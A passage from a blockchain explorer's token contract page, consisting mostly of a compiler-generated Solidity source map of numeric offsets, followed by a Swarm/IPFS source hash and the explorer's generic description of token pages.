119:12:0;;;5126:5;;5119:12;5088:43;:81;;;-1:-1:-1;5157:12:0;;-1:-1:-1;;;;;5148:21:0;;;5157:12;;5148:21;5088:81;:112;;;-1:-1:-1;;;;;;5186:14:0;;;;;;:7;:14;;;;;;;;5088:112;5070:180;;;-1:-1:-1;5234:4:0;5227:11;;5070:180;5268:24;5278:5;5285:6;5268:9;:24::i;:::-;5260:33;;;;;;-1:-1:-1;5311:4:0;4837:486;;;;;:::o;7905:507::-;8005:4;8031:8;;8043:1;8031:13;:30;;;;-1:-1:-1;8048:8:0;;:13;8031:30;:47;;;;-1:-1:-1;8065:8:0;;:13;8031:47;8027:65;;;-1:-1:-1;8087:5:0;8080:12;;8027:65;8109:8;;:12;8105:92;;8163:8;;-1:-1:-1;;;;;8142:17:0;;;;;;:10;:17;;;;;;:29;8138:47;;-1:-1:-1;8180:5:0;8173:12;;8138:47;8213:8;;:12;8209:80;;8257:6;8246:8;;:17;8242:35;;;-1:-1:-1;8272:5:0;8265:12;;8242:35;8305:8;;:12;8301:80;;8347:8;;8338:6;:17;8334:35;;;-1:-1:-1;8364:5:0;8357:12;;8334:35;-1:-1:-1;8400:4:0;7905:507;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1586:328::-;1663:6;1671;1679;1732:2;1720:9;1711:7;1707:23;1703:32;1700:52;;;1748:1;1745;1738:12;1700:52;1771:29;1790:9;1771:29;:::i;:::-;1761:39;;1819:38;1853:2;1842:9;1838:18;1819:38;:::i;:::-;1809:48;;1904:2;1893:9;1889:18;1876:32;1866:42;;1586:328;;;;;:::o;1919:186::-;1978:6;2031:2;2019:9;2010:7;2006:23;2002:32;1999:52;;;2047:1;2044;2037:12;1999:52;2070:29;2089:9;2070:29;:::i;2110:260::-;2178:6;2186;2239:2;2227:9;2218:7;2214:23;2210:32;2207:52;;;2255:1;2252;2245:12;2207:52;2278:29;2297:9;2278:29;:::i;:::-;2268:39;;2326:38;2360:2;2349:9;2345:18;2326:38;:::i;:::-;2316:48;;2110:260;;;;;:::o;2375:380::-;2454:1;2450:12;;;;2497;;;2518:61;;2572:4;2564:6;2560:17;2550:27;;2518:61;2625:2;2617:6;2614:14;2594:18;2591:38;2588:161;;2671:10;2666:3;2662:20;2659:1;2652:31;2706:4;2703:1;2696:15;2734:4;2731:1;2724:15;2588:161;;2375:380;;;:::o;2760:127::-;2821:10;2816:3;2812:20;2809:1;2802:31;2852:4;2849:1;2842:15;2876:4;2873:1;2866:15;2892:128;2959:9;;;2980:11;;;2977:37;;;2994:18;;:::i;3025:125::-;3090:9;;;3111:10;;;3108:36;;;3124:18;;:::i;3155:135::-;3194:3;3215:17;;;3212:43;;3235:18;;:::i;:::-;-1:-1:-1;3282:1:1;3271:13;;3155:135::o;3295:416::-;3384:1;3421:5;3384:1;3435:270;3456:7;3446:8;3443:21;3435:270;;;3515:4;3511:1;3507:6;3503:17;3497:4;3494:27;3491:53;;;3524:18;;:::i;:::-;3574:7;3564:8;3560:22;3557:55;;;3594:16;;;;3557:55;3673:22;;;;3633:15;;;;3435:270;;;3439:3;3295:416;;;;;:::o;3716:806::-;3765:5;3795:8;3785:80;;-1:-1:-1;3836:1:1;3850:5;;3785:80;3884:4;3874:76;;-1:-1:-1;3921:1:1;3935:5;;3874:76;3966:4;3984:1;3979:59;;;;4052:1;4047:130;;;;3959:218;;3979:59;4009:1;4000:10;;4023:5;;;4047:130;4084:3;4074:8;4071:17;4068:43;;;4091:18;;:::i;:::-;-1:-1:-1;;4147:1:1;4133:16;;4162:5;;3959:218;;4261:2;4251:8;4248:16;4242:3;4236:4;4233:13;4229:36;4223:2;4213:8;4210:16;4205:2;4199:4;4196:12;4192:35;4189:77;4186:159;;;-1:-1:-1;4298:19:1;;;4330:5;;4186:159;4377:34;4402:8;4396:4;4377:34;:::i;:::-;4447:6;4443:1;4439:6;4435:19;4426:7;4423:32;4420:58;;;4458:18;;:::i;:::-;4496:20;;3716:806;-1:-1:-1;;;3716:806:1:o;4527:131::-;4587:5;4616:36;4643:8;4637:4;4616:36;:::i;4663:168::-;4736:9;;;4767;;4784:15;;;4778:22;;4764:37;4754:71;;4805:18;;:::i

Swarm Source

ipfs://a718d9fb57618aec61cd2ea0a3c1312233c7e0e88dbd7fba54e50bdd421e4510
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.